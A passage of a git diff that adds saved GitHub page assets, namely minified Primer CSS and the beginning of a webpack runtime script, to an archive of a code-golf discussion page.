.5em;font-size:85%}.Label--primary{color:var(--color-fg-default);border-color:var(--color-neutral-emphasis)}.Label--secondary{color:var(--color-fg-muted);border-color:var(--color-border-default)}.Label--info,.Label--accent{color:var(--color-accent-fg);border-color:var(--color-accent-emphasis)}.Label--success{color:var(--color-success-fg);border-color:var(--color-success-emphasis)}.Label--warning,.Label--attention{color:var(--color-attention-fg);border-color:var(--color-attention-emphasis)}.Label--severe{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label--danger{color:var(--color-danger-fg);border-color:var(--color-danger-emphasis)}.Label--open{color:var(--color-open-fg);border-color:var(--color-open-emphasis)}.Label--closed{color:var(--color-closed-fg);border-color:var(--color-closed-emphasis)}.Label--done{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label--sponsors{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}.state,.State{display:inline-block;padding:5px 12px;font-size:14px;font-weight:500;line-height:20px;text-align:center;white-space:nowrap;border-radius:2em}.state,.State,.State--draft{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.State--open{color:var(--color-fg-on-emphasis);background-color:var(--color-open-emphasis)}.State--merged{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis)}.State--closed{color:var(--color-fg-on-emphasis);background-color:var(--color-closed-emphasis)}.State--small{padding:0 10px;font-size:12px;line-height:24px}.State--small .octicon{width:1em}.Counter{display:inline-block;min-width:20px;padding:0 6px;font-size:12px;font-weight:500;line-height:18px;color:var(--color-fg-default);text-align:center;background-color:var(--color-neutral-muted);border:1px solid var(--color-counter-border);border-radius:2em}.Counter:empty{display:none}.Counter .octicon{vertical-align:text-top;opacity:.8}.Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.Counter--secondary{color:var(--color-fg-muted);background-color:var(--color-neutral-subtle)}.diffstat{font-size:12px;font-weight:600;color:var(--color-fg-muted);white-space:nowrap;cursor:default}.diffstat-block-deleted,.diffstat-block-added,.diffstat-block-neutral{display:inline-block;width:8px;height:8px;margin-left:1px;outline-offset:-1px}.diffstat-block-deleted{background-color:var(--color-danger-emphasis);outline:1px solid var(--color-border-subtle)}.diffstat-block-added{background-color:var(--color-diffstat-addition-bg);outline:1px solid var(--color-border-subtle)}.diffstat-block-neutral{background-color:var(--color-neutral-muted);outline:1px solid var(--color-border-subtle)}.AnimatedEllipsis{display:inline-block;overflow:hidden;vertical-align:bottom}.AnimatedEllipsis::after{display:inline-block;content:"...";animation:AnimatedEllipsis-keyframes 1.2s steps(4, jump-none) infinite}@keyframes AnimatedEllipsis-keyframes{0%{transform:translateX(-100%)}}.markdown-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body .absent{color:var(--color-danger-fg)}.markdown-body .anchor{float:left;padding-right:4px;margin-left:-20px;line-height:1}.markdown-body .anchor:focus{outline:none}.markdown-body p,.markdown-body blockquote,.markdown-body ul,.markdown-body ol,.markdown-body dl,.markdown-body table,.markdown-body pre,.markdown-body details{margin-top:0;margin-bottom:16px}.markdown-body hr{height:.25em;padding:0;margin:24px 0;background-color:var(--color-border-default);border:0}.markdown-body blockquote{padding:0 1em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.markdown-body blockquote>:first-child{margin-top:0}.markdown-body blockquote>:last-child{margin-bottom:0}.markdown-body h1,.markdown-body h2,.markdown-body h3,.markdown-body h4,.markdown-body h5,.markdown-body h6{margin-top:24px;margin-bottom:16px;font-weight:600;line-height:1.25}.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{color:var(--color-fg-default);vertical-align:middle;visibility:hidden}.markdown-body h1:hover .anchor,.markdown-body h2:hover .anchor,.markdown-body h3:hover .anchor,.markdown-body h4:hover .anchor,.markdown-body h5:hover .anchor,.markdown-body h6:hover .anchor{text-decoration:none}.markdown-body h1:hover .anchor .octicon-link,.markdown-body h2:hover .anchor .octicon-link,.markdown-body h3:hover .anchor .octicon-link,.markdown-body h4:hover .anchor .octicon-link,.markdown-body h5:hover .anchor .octicon-link,.markdown-body h6:hover .anchor .octicon-link{visibility:visible}.markdown-body h1 tt,.markdown-body h1 code,.markdown-body h2 tt,.markdown-body h2 code,.markdown-body h3 tt,.markdown-body h3 code,.markdown-body h4 tt,.markdown-body h4 code,.markdown-body h5 tt,.markdown-body h5 code,.markdown-body h6 tt,.markdown-body h6 code{padding:0 .2em;font-size:inherit}.markdown-body h1{padding-bottom:.3em;font-size:2em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h2{padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h3{font-size:1.25em}.markdown-body h4{font-size:1em}.markdown-body h5{font-size:.875em}.markdown-body h6{font-size:.85em;color:var(--color-fg-muted)}.markdown-body summary h1,.markdown-body summary h2,.markdown-body summary h3,.markdown-body summary h4,.markdown-body summary h5,.markdown-body summary h6{display:inline-block}.markdown-body summary h1 .anchor,.markdown-body summary h2 .anchor,.markdown-body summary h3 .anchor,.markdown-body summary h4 .anchor,.markdown-body summary h5 .anchor,.markdown-body summary h6 .anchor{margin-left:-40px}.markdown-body summary h1,.markdown-body summary h2{padding-bottom:0;border-bottom:0}.markdown-body ul,.markdown-body ol{padding-left:2em}.markdown-body ul.no-list,.markdown-body ol.no-list{padding:0;list-style-type:none}.markdown-body ol[type="1"]{list-style-type:decimal}.markdown-body ol[type=a]{list-style-type:lower-alpha}.markdown-body ol[type=i]{list-style-type:lower-roman}.markdown-body div>ol:not([type]){list-style-type:decimal}.markdown-body ul ul,.markdown-body ul ol,.markdown-body ol ol,.markdown-body ol ul{margin-top:0;margin-bottom:0}.markdown-body li>p{margin-top:16px}.markdown-body li+li{margin-top:.25em}.markdown-body dl{padding:0}.markdown-body dl dt{padding:0;margin-top:16px;font-size:1em;font-style:italic;font-weight:600}.markdown-body dl dd{padding:0 16px;margin-bottom:16px}.markdown-body table{display:block;width:100%;width:max-content;max-width:100%;overflow:auto}.markdown-body table th{font-weight:600}.markdown-body table th,.markdown-body table td{padding:6px 13px;border:1px solid var(--color-border-default)}.markdown-body table tr{background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-muted)}.markdown-body table tr:nth-child(2n){background-color:var(--color-canvas-subtle)}.markdown-body table img{background-color:transparent}.markdown-body img{max-width:100%;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body img[align=right]{padding-left:20px}.markdown-body img[align=left]{padding-right:20px}.markdown-body .emoji{max-width:none;vertical-align:text-top;background-color:transparent}.markdown-body span.frame{display:block;overflow:hidden}.markdown-body span.frame>span{display:block;float:left;width:auto;padding:7px;margin:13px 0 0;overflow:hidden;border:1px solid var(--color-border-default)}.markdown-body span.frame span img{display:block;float:left}.markdown-body span.frame span span{display:block;padding:5px 0 0;clear:both;color:var(--color-fg-default)}.markdown-body span.align-center{display:block;overflow:hidden;clear:both}.markdown-body span.align-center>span{display:block;margin:13px auto 0;overflow:hidden;text-align:center}.markdown-body span.align-center span img{margin:0 auto;text-align:center}.markdown-body span.align-right{display:block;overflow:hidden;clear:both}.markdown-body span.align-right>span{display:block;margin:13px 0 0;overflow:hidden;text-align:right}.markdown-body span.align-right span img{margin:0;text-align:right}.markdown-body span.float-left{display:block;float:left;margin-right:13px;overflow:hidden}.markdown-body span.float-left span{margin:13px 0 0}.markdown-body span.float-right{display:block;float:right;margin-left:13px;overflow:hidden}.markdown-body span.float-right>span{display:block;margin:13px auto 0;overflow:hidden;text-align:right}.markdown-body code,.markdown-body tt{padding:.2em .4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body code br,.markdown-body tt br{display:none}.markdown-body del code{text-decoration:inherit}.markdown-body samp{font-size:85%}.markdown-body pre{word-wrap:normal}.markdown-body pre code{font-size:100%}.markdown-body pre>code{padding:0;margin:0;word-break:normal;white-space:pre;background:transparent;border:0}.markdown-body .highlight{margin-bottom:16px}.markdown-body .highlight pre{margin-bottom:0;word-break:normal}.markdown-body .highlight pre,.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-radius:6px}.markdown-body pre code,.markdown-body pre tt{display:inline;max-width:auto;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body .csv-data td,.markdown-body .csv-data th{padding:5px;overflow:hidden;font-size:12px;line-height:1;text-align:left;white-space:nowrap}.markdown-body .csv-data .blob-num{padding:10px 8px 9px;text-align:right;background:var(--color-canvas-default);border:0}.markdown-body .csv-data tr{border-top:0}.markdown-body .csv-data th{font-weight:600;background:var(--color-canvas-subtle);border-top:0}.markdown-body [data-footnote-ref]::before{content:"["}.markdown-body [data-footnote-ref]::after{content:"]"}.markdown-body .footnotes{font-size:12px;color:var(--color-fg-muted);border-top:1px solid var(--color-border-default)}.markdown-body .footnotes ol{padding-left:16px}.markdown-body .footnotes li{position:relative}.markdown-body .footnotes li:target::before{position:absolute;top:-8px;right:-8px;bottom:-8px;left:-24px;pointer-events:none;content:"";border:2px solid var(--color-accent-emphasis);border-radius:6px}.markdown-body .footnotes li:target{color:var(--color-fg-default)}.markdown-body .footnotes .data-footnote-backref g-emoji{font-family:monospace}.Popover{position:absolute;z-index:100}.Popover-message{position:relative;width:232px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px}.Popover-message::before,.Popover-message::after{position:absolute;left:50%;display:inline-block;content:""}.Popover-message::before{top:-16px;margin-left:-9px;border:8px solid transparent;border-bottom-color:var(--color-border-default)}.Popover-message::after{top:-14px;margin-left:-8px;border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.Popover-message--no-caret::before,.Popover-message--no-caret::after{display:none}.Popover-message--bottom::before,.Popover-message--bottom::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{top:auto;border-bottom-color:transparent}.Popover-message--bottom::before,.Popover-message--bottom-right::before,.Popover-message--bottom-left::before{bottom:-16px;border-top-color:var(--color-border-default)}.Popover-message--bottom::after,.Popover-message--bottom-right::after,.Popover-message--bottom-left::after{bottom:-14px;border-top-color:var(--color-canvas-overlay)}.Popover-message--top-right,.Popover-message--bottom-right{right:-9px;margin-right:0}.Popover-message--top-right::before,.Popover-message--top-right::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after{left:auto;margin-left:0}.Popover-message--top-right::before,.Popover-message--bottom-right::before{right:20px}.Popover-message--top-right::after,.Popover-message--bottom-right::after{right:21px}.Popover-message--top-left,.Popover-message--bottom-left{left:-9px;margin-left:0}.Popover-message--top-left::before,.Popover-message--top-left::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{left:24px;margin-left:0}.Popover-message--top-left::after,.Popover-message--bottom-left::after{left:25px}.Popover-message--right::before,.Popover-message--right::after,.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left::before,.Popover-message--left::after,.Popover-message--left-top::before,.Popover-message--left-top::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:50%;left:auto;margin-left:0;border-bottom-color:transparent}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before,.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{margin-top:-9px}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after,.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{margin-top:-8px}.Popover-message--right::before,.Popover-message--right-top::before,.Popover-message--right-bottom::before{right:-16px;border-left-color:var(--color-border-default)}.Popover-message--right::after,.Popover-message--right-top::after,.Popover-message--right-bottom::after{right:-14px;border-left-color:var(--color-canvas-overlay)}.Popover-message--left::before,.Popover-message--left-top::before,.Popover-message--left-bottom::before{left:-16px;border-right-color:var(--color-border-default)}.Popover-message--left::after,.Popover-message--left-top::after,.Popover-message--left-bottom::after{left:-14px;border-right-color:var(--color-canvas-overlay)}.Popover-message--right-top::before,.Popover-message--right-top::after,.Popover-message--left-top::before,.Popover-message--left-top::after{top:24px}.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:auto}.Popover-message--right-bottom::before,.Popover-message--left-bottom::before{bottom:16px}.Popover-message--right-bottom::after,.Popover-message--left-bottom::after{bottom:17px}@media(min-width: 544px){.Popover-message--large{min-width:320px}}@media(max-width: 767.98px){.Popover{position:fixed;top:auto !important;right:0 !important;bottom:0 !important;left:0 !important}.Popover-message{top:auto;right:auto;bottom:auto;left:auto;width:auto !important;margin:8px}.Popover-message>.btn-octicon{padding:12px !important}.Popover-message::after,.Popover-message::before{display:none}}.Progress{display:flex;height:8px;overflow:hidden;background-color:var(--color-neutral-muted);border-radius:6px;outline:1px solid transparent}.Progress--large{height:10px}.Progress--small{height:5px}.Progress-item{outline:2px solid transparent}.Progress-item+.Progress-item{margin-left:2px}.SelectMenu{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:flex;padding:16px;pointer-events:none;flex-direction:column}@media(min-width: 544px){.SelectMenu{position:absolute;top:auto;right:auto;bottom:auto;left:auto;padding:0}}.SelectMenu::before{position:absolute;top:0;right:0;bottom:0;left:0;pointer-events:none;content:"";background-color:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.SelectMenu::before{display:none}}.SelectMenu-modal{position:relative;z-index:99;display:flex;max-height:66%;margin:auto 0;overflow:hidden;pointer-events:auto;flex-direction:column;background-color:var(--color-canvas-overlay);border:1px solid var(--color-select-menu-backdrop-border);border-radius:12px;box-shadow:var(--color-shadow-large);animation:SelectMenu-modal-animation .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}@keyframes SelectMenu-modal-animation{0%{opacity:0;transform:scale(0.9)}}@keyframes SelectMenu-modal-animation--sm{0%{opacity:0;transform:translateY(-16px)}}@media(min-width: 544px){.SelectMenu-modal{width:300px;height:auto;max-height:480px;margin:8px 0 16px 0;font-size:12px;border-color:var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large);animation-name:SelectMenu-modal-animation--sm}}.SelectMenu-header{display:flex;padding:16px;flex:none;align-items:center;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-header{padding:7px 7px 7px 16px}}.SelectMenu-title{flex:1;font-size:14px;font-weight:600}@media(min-width: 544px){.SelectMenu-title{font-size:inherit}}.SelectMenu-closeButton{padding:16px;margin:-16px;line-height:1;color:var(--color-fg-muted);background-color:transparent;border:0}@media(min-width: 544px){.SelectMenu-closeButton{padding:8px;margin:-8px -7px}}.SelectMenu-filter{padding:16px;margin:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-filter{padding:8px}}.SelectMenu-input{display:block;width:100%}@media(min-width: 544px){.SelectMenu-input{font-size:14px}}.SelectMenu-list{position:relative;padding:0;margin:0;margin-bottom:-1px;flex:auto;overflow-x:hidden;overflow-y:auto;background-color:var(--color-canvas-overlay);-webkit-overflow-scrolling:touch}.SelectMenu-item{display:flex;align-items:center;width:100%;padding:16px;overflow:hidden;color:var(--color-fg-default);text-align:left;cursor:pointer;background-color:var(--color-canvas-overlay);border:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-item{padding-top:7px;padding-bottom:7px}}.SelectMenu-list--borderless .SelectMenu-item{border-bottom:0}.SelectMenu-icon{width:16px;margin-right:8px;flex-shrink:0}.SelectMenu-icon--check{visibility:hidden;transition:transform .12s cubic-bezier(0.5, 0.1, 1, 0.5),visibility 0s .12s linear;transform:scale(0)}.SelectMenu-tabs{display:flex;flex-shrink:0;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:touch}.SelectMenu-tabs::-webkit-scrollbar{display:none}@media(min-width: 544px){.SelectMenu-tabs{padding:8px 8px 0 8px}}.SelectMenu-tab{flex:1;padding:8px 16px;font-size:12px;font-weight:500;color:var(--color-fg-muted);text-align:center;background-color:transparent;border:0;box-shadow:inset 0 -1px 0 var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab{flex:none;padding:4px 16px;border:1px solid transparent;border-bottom-width:0;border-top-left-radius:6px;border-top-right-radius:6px}}.SelectMenu-tab[aria-selected=true]{z-index:1;color:var(--color-fg-default);cursor:default;background-color:var(--color-canvas-overlay);box-shadow:0 0 0 1px var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab[aria-selected=true]{border-color:var(--color-border-muted);box-shadow:none}}.SelectMenu-message{padding:7px 16px;text-align:center;background-color:var(--color-canvas-overlay);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-blankslate,.SelectMenu-loading{padding:24px 16px;text-align:center;background-color:var(--color-canvas-overlay)}.SelectMenu-divider{padding:4px 16px;margin:0;font-size:12px;font-weight:500;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider{border-top:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider:empty{padding:0;border-top:0}.SelectMenu-footer{z-index:0;padding:8px 16px;font-size:12px;color:var(--color-fg-muted);text-align:center;border-top:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-footer{padding:7px 16px}}.SelectMenu--hasFilter .SelectMenu-modal{height:80%;max-height:none;margin-top:0}@media(min-width: 544px){.SelectMenu--hasFilter .SelectMenu-modal{height:auto;max-height:480px;margin-top:8px}}.SelectMenu-closeButton:focus,.SelectMenu-tab:focus,.SelectMenu-item:focus{outline:0}.SelectMenu-item:hover{text-decoration:none}.SelectMenu-item[aria-checked=true]{font-weight:500;color:var(--color-fg-default)}.SelectMenu-item[aria-checked=true] .SelectMenu-icon--check{visibility:visible;transition:transform .12s cubic-bezier(0, 0, 0.2, 1),visibility 0s linear;transform:scale(1)}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-primer-fg-disabled);pointer-events:none}@media(hover: hover){body:not(.intent-mouse) .SelectMenu-closeButton:focus,.SelectMenu-closeButton:hover{color:var(--color-fg-default)}.SelectMenu-closeButton:active{color:var(--color-fg-muted)}body:not(.intent-mouse) .SelectMenu-item:focus,.SelectMenu-item:hover{background-color:var(--color-neutral-subtle)}.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}body:not(.intent-mouse) .SelectMenu-tab:focus{background-color:var(--color-select-menu-tap-focus-bg)}.SelectMenu-tab:hover{color:var(--color-fg-default)}.SelectMenu-tab:not([aria-selected=true]):active{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}}@media(hover: none){.SelectMenu-item:focus,.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}.SelectMenu-item{-webkit-tap-highlight-color:var(--color-select-menu-tap-highlight)}}.Subhead{display:flex;padding-bottom:8px;margin-bottom:16px;border-bottom:1px solid var(--color-border-muted);flex-flow:row wrap;justify-content:flex-end}.Subhead--spacious{margin-top:40px}.Subhead-heading{font-size:24px;font-weight:400;flex:1 1 auto;order:0}.Subhead-heading--danger{font-weight:600;color:var(--color-danger-fg)}.Subhead-description{font-size:14px;color:var(--color-fg-muted);flex:1 100%;order:2}.Subhead-actions{margin:4px 0 4px 4px;align-self:center;justify-content:flex-end;order:1}.Subhead-actions+.Subhead-description{margin-top:4px}.TimelineItem{position:relative;display:flex;padding:16px 0;margin-left:16px}.TimelineItem::before{position:absolute;top:0;bottom:0;left:0;display:block;width:2px;content:"";background-color:var(--color-border-muted)}.TimelineItem:target .TimelineItem-badge{border-color:var(--color-accent-emphasis);box-shadow:0 0 .2em var(--color-accent-muted)}.TimelineItem-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-15px;color:var(--color-fg-muted);align-items:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.TimelineItem-badge--success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.TimelineItem-body{min-width:0;max-width:100%;margin-top:4px;color:var(--color-fg-muted);flex:auto}.TimelineItem-avatar{position:absolute;left:-72px;z-index:1}.TimelineItem-break{position:relative;z-index:1;height:24px;margin:0;margin-bottom:-16px;margin-left:-56px;background-color:var(--color-canvas-default);border:0;border-top:4px solid var(--color-border-default)}.TimelineItem--condensed{padding-top:4px;padding-bottom:0}.TimelineItem--condensed:last-child{padding-bottom:16px}.TimelineItem--condensed .TimelineItem-badge{height:16px;margin-top:8px;margin-bottom:8px;color:var(--color-fg-muted);background-color:var(--color-canvas-default);border:0}.Toast{display:flex;margin:8px;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-radius:6px;box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}@media(min-width: 544px){.Toast{width:max-content;max-width:450px;margin:16px}}.Toast-icon{display:flex;align-items:center;justify-content:center;width:48px;flex-shrink:0;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border:1px solid transparent;border-right:0;border-top-left-radius:inherit;border-bottom-left-radius:inherit}.Toast-content{padding:16px}.Toast-dismissButton{max-height:54px;padding:16px;color:inherit;background-color:transparent;border:0}.Toast-dismissButton:hover{opacity:.7}.Toast-dismissButton:active{opacity:.5}.Toast--loading{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--loading .Toast-icon{background-color:var(--color-neutral-emphasis)}.Toast--error{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--error .Toast-icon{background-color:var(--color-danger-emphasis)}.Toast--warning{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--warning .Toast-icon{background-color:var(--color-attention-emphasis)}.Toast--success{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--success .Toast-icon{background-color:var(--color-success-emphasis)}.Toast--animateIn{animation:Toast--animateIn .18s cubic-bezier(0.22, 0.61, 0.36, 1) backwards}@keyframes Toast--animateIn{0%{opacity:0;transform:translateY(100%)}}.Toast--animateOut{animation:Toast--animateOut .18s cubic-bezier(0.55, 0.06, 0.68, 0.19) forwards}@keyframes Toast--animateOut{100%{pointer-events:none;opacity:0;transform:translateY(100%)}}.Toast--spinner{animation:Toast--spinner 1000ms linear infinite}@keyframes Toast--spinner{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}.ToggleSwitch.ToggleSwitch{display:inline-flex}.ToggleSwitch{align-items:center;display:inline-flex;gap:8px}.ToggleSwitch:hover .ToggleSwitch-knob{background-color:var(--color-btn-hover-bg)}.ToggleSwitch:active .ToggleSwitch-knob{background-color:var(--color-btn-active-bg)}.ToggleSwitch--checked .ToggleSwitch-statusOn{height:auto;visibility:visible}.ToggleSwitch--checked .ToggleSwitch-statusOff{height:0;visibility:hidden}.ToggleSwitch-track{position:relative;display:block;width:64px;height:32px;padding:0;overflow:hidden;text-decoration:none;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:var(--color-switch-track-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:background-color,border-color;-webkit-appearance:none;appearance:none}.ToggleSwitch-track:focus,.ToggleSwitch-track:focus-visible{outline-offset:0}@media(pointer: coarse){.ToggleSwitch-track::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:44px;content:"";transform:translateX(-50%) translateY(-50%)}}@media(prefers-reduced-motion){.ToggleSwitch-track{transition:none}.ToggleSwitch-track *{transition:none}}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]{background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active{background-color:var(--color-canvas-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true]{background-color:var(--color-switch-track-checked-bg);border-color:var(--color-switch-track-checked-border)}.ToggleSwitch-track[aria-checked=true]:hover{background-color:var(--color-switch-track-checked-hover-bg)}.ToggleSwitch-track[aria-checked=true]:active{background-color:var(--color-switch-track-checked-active-bg)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-bg);border:0;transform:translateX(calc(100% + 1px))}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-lineIcon{transform:translateX(0%)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-circleIcon{transform:translateX(100%)}.ToggleSwitch-track[aria-disabled=true]{cursor:not-allowed;background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle);transition-property:none}.ToggleSwitch-track[aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob{border-color:var(--color-border-default);box-shadow:none}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:hover,.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:active{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-lineIcon{color:var(--color-fg-subtle)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-circleIcon{color:var(--color-fg-subtle)}.ToggleSwitch-icons{display:flex;align-items:center;width:100%;height:100%;overflow:hidden}.ToggleSwitch-lineIcon{line-height:0;color:var(--color-accent-fg);transition-duration:80ms;transition-property:transform;transform:translateX(-100%);flex:1 0 50%}.ToggleSwitch-circleIcon{line-height:0;color:var(--color-fg-default);transition-duration:80ms;transition-property:transform;transform:translateX(0);flex:1 0 50%}.ToggleSwitch-knob{position:absolute;top:-1px;bottom:-1px;z-index:1;width:50%;background-color:var(--color-btn-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;box-shadow:var(--color-shadow-medium),var(--color-btn-inset-shadow);transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:transform;transform:translateX(-1px)}@media(prefers-reduced-motion){.ToggleSwitch-knob{transition:none}}.ToggleSwitch-status{position:relative;font-size:14px;line-height:1.5;color:var(--color-fg-default);text-align:right}.ToggleSwitch--small .ToggleSwitch-status{font-size:12px}.ToggleSwitch--small .ToggleSwitch-track{width:48px;height:24px}.ToggleSwitch--disabled .ToggleSwitch-status{color:var(--color-fg-muted)}.ToggleSwitch-statusOn{height:0;visibility:hidden}.ToggleSwitch-statusOff{height:auto;visibility:visible}.ToggleSwitch--statusAtEnd{flex-direction:row-reverse}.ToggleSwitch--statusAtEnd .ToggleSwitch-status{text-align:left} + +/*# sourceMappingURL=primer-048cfb03804d.css.map*/ \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js new file mode 100644 index 0000000..3c9544b --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js @@ -0,0 +1,4 @@ +(()=>{var S=Object.defineProperty;var u=(g,b)=>S(g,"name",{value:b,configurable:!0});(()=>{"use strict";var g={},b={};function t(e){var o=b[e];if(o!==void 0)return o.exports;var _=b[e]={id:e,loaded:!1,exports:{}};return g[e].call(_.exports,_,_.exports,t),_.loaded=!0,_.exports}u(t,"__webpack_require__"),t.m=g,(()=>{var e=[];t.O=(o,_,a,n)=>{if(_){n=n||0;for(var s=e.length;s>0&&e[s-1][2]>n;s--)e[s]=e[s-1];e[s]=[_,a,n];return}for(var p=1/0,s=0;s=n)&&Object.keys(t.O).every(H=>t.O[H](_[i]))?_.splice(i--,1):(r=!1,n{var o=e&&e.__esModule?()=>e.default:()=>e;return t.d(o,{a:o}),o},(()=>{var e=Object.getPrototypeOf?_=>Object.getPrototypeOf(_):_=>_.__proto__,o;t.t=function(_,a){if(a&1&&(_=this(_)),a&8||typeof _=="object"&&_&&(a&4&&_.__esModule||a&16&&typeof _.then=="function"))return _;var n=Object.create(null);t.r(n);var s={};o=o||[null,e({}),e([]),e(e)];for(var p=a&2&&_;typeof p=="object"&&!~o.indexOf(p);p=e(p))Object.getOwnPropertyNames(p).forEach(r=>s[r]=()=>_[r]);return s.default=()=>_,t.d(n,s),n}})(),t.d=(e,o)=>{for(var _ in 